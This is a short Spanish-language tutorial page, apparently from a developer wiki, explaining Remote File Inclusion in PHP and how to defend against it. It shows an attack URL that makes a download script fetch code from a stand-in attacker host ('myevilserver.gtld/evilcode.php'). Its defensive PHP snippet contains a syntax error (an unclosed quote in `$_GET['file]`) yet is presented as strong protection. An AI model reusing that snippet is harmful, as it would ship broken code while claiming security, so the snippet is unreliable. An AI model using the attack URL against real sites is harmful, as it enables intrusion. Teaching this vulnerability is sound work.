28 lines
1.4 KiB
Markdown
28 lines
1.4 KiB
Markdown
---
|
|
title: Remote File Inclusion
|
|
localeTitle: La inclusión de archivos remotos
|
|
---
|
|
## Inclusión remota de archivos
|
|
|
|
Una vulnerabilidad en la aplicación causada por el programador que requiere una entrada de archivo provista por el usuario y no la desinfecta antes de acceder al archivo solicitado. Esto da como resultado que un archivo se extraiga de un servidor remoto y se incluya donde no debería haber estado.
|
|
|
|
### Ejemplo de ataques de inclusión de archivos remotos
|
|
|
|
Un sitio web le permite ver los archivos PDF como `download.php?file=myfile.php` , debido a la falta de verificación adecuada, un usuario malintencionado puede solicitar un recurso remoto e incluirlo en el script. La URL podría convertirse en `download.php?file=http://myevilserver.gtld/evilcode.php` esto podría enviarse al usuario o, en casos graves, ejecutar el código PHP real en su servidor.
|
|
|
|
### Defendiendo su sitio web de ataques de inclusión de archivos remotos en PHP
|
|
|
|
El siguiente código PHP proporcionará una fuerte protección contra ataques de inclusión de archivos remotos
|
|
|
|
```PHP
|
|
<?php
|
|
if(basename($_GET['file]) !== $_GET['file']) {
|
|
die('INVALID FILE REQUESTED');
|
|
}
|
|
```
|
|
|
|
* Puede deshabilitar `allow_url_fopen` en su archivo php.ini como una protección adicional contra la inclusión de archivos remotos.
|
|
|
|
#### Más información:
|
|
|
|
* [Wiki de OWASP - Pruebas para la inclusión remota de archivos](https://www.owasp.org/index.php/Testing_for_Remote_File_Inclusion) |